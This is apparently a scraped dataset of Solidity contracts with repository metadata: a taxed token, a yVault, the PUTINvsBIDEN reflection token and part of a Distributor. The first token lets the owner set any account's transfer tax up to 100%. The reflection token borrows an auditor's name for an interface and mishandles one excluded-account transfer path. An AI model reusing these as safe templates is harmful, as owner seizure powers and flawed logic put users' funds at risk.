if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_to].minted += _amount;
totalTxs += 1;
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
return false;
}
function calculateTransactionTax(uint256 _value, uint8 _tax) internal returns (uint256 adjustedValue, uint256 taxAmount){
taxAmount = _value.mul(_tax).div(100);
adjustedValue = _value.mul(SafeMath.sub(100, _tax)).div(100);
return (adjustedValue, taxAmount);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(_from, _value);
if (taxAmount > 0){
require(super.transferFrom(_from, vaultAddress, taxAmount));
emit TaxPayed(_from, vaultAddress, taxAmount);
}
require(super.transferFrom(_from, _to, adjustedValue));
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_from].txs += 1;
totalTxs += 1;
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(msg.sender, _value);
if (taxAmount > 0){
require(super.transfer(vaultAddress, taxAmount));
emit TaxPayed(msg.sender, vaultAddress, taxAmount);
}
require(super.transfer(_to, adjustedValue));
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[msg.sender].txs += 1;
totalTxs += 1;
return true;
}
function calculateTransferTaxes(address _from, uint256 _value) public view returns (uint256 adjustedValue, uint256 taxAmount){
adjustedValue = _value;
taxAmount = 0;
if (!_isExcluded[_from]) {
uint8 taxPercent = taxDefault; // set to default tax 10%
// set custom tax rate if applicable
if (_hasCustomTax[_from]){
taxPercent = _customTaxRate[_from];
}
(adjustedValue, taxAmount) = calculateTransactionTax(_value, taxPercent);
}
return (adjustedValue, taxAmount);
}
function remainingMintableSupply() public view returns (uint256) {
return targetSupply.sub(mintedSupply_);
}
function cap() public view returns (uint256) {
return targetSupply;
}
function mintedSupply() public view returns (uint256) {
return mintedSupply_;
}
function statsOf(address player) public view returns (uint256, uint256, uint256){
return (balanceOf(player), stats[player].txs, stats[player].minted);
}
//
function mintedBy(address player) public view returns (uint256){
return stats[player].minted;
}
function setAccountCustomTax(address account, uint8 taxRate) external onlyOwner() {
require(taxRate >= 0 && taxRate <= 100, "Invalid tax amount");
_hasCustomTax[account] = true;
_customTaxRate[account] = taxRate;
}
function removeAccountCustomTax(address account) external onlyOwner() {
_hasCustomTax[account] = false;
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
delete _excluded[_excluded.length - 1];
break;
}
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
}
| 112,414 | 220 |
95c0a9cf42c3071ec881bd0c022418f20fc48c2e8ee2ff0fafb67a1b02fa9be4
| 14,973 |
.sol
|
Solidity
| false |
55591416
|
makoto/london-ethereum-codeup
|
72c3623723dc8d4f18d78f287902343e3d931be8
|
materials/37/yeth/yVault.sol
| 3,797 | 14,700 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface WETH {
function deposit() external payable;
function withdraw(uint wad) external;
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
contract yVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint public min = 9990;
uint public constant max = 10000;
address public governance;
address public controller;
constructor (address _token, address _controller) public ERC20Detailed(string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()) {
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function depositETH() public payable {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
uint _amount = msg.value;
WETH(address(token)).deposit.value(_amount)();
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function withdrawAllETH() external {
withdrawETH(balanceOf(msg.sender));
}
// Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint amount) external {
require(msg.sender == controller, "!controller");
require(reserve != address(token), "token");
IERC20(reserve).safeTransfer(controller, amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
// No rebalance implementation for lower fees and faster swaps
function withdrawETH(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
WETH(address(token)).withdraw(r);
address(msg.sender).transfer(r);
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
function () external payable {
if (msg.sender != address(token)) {
depositETH();
}
}
}
| 11,823 | 221 |
f8793371c9be1df1762fdc206b107553c2108cd1795fccd02f27b50444e03933
| 18,842 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/01/01387b24e65078373364106e8a353f41c55c7f12_PUTINvsBIDEN.sol
| 4,193 | 15,811 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PUTINvsBIDEN is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'PUTINvsBIDEN';
string private _symbol = 'PUTINvsBIDEN';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(13);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 85,414 | 222 |
d3340ee712d353a533866058e5459dbc2066ca61142061a04beb5b5fd7004988
| 17,524 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/cb/cb67C3510D41Df713B4D1fdA3D8FC0Ff43bBEE51_Distributor.sol
| 3,874 | 15,332 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
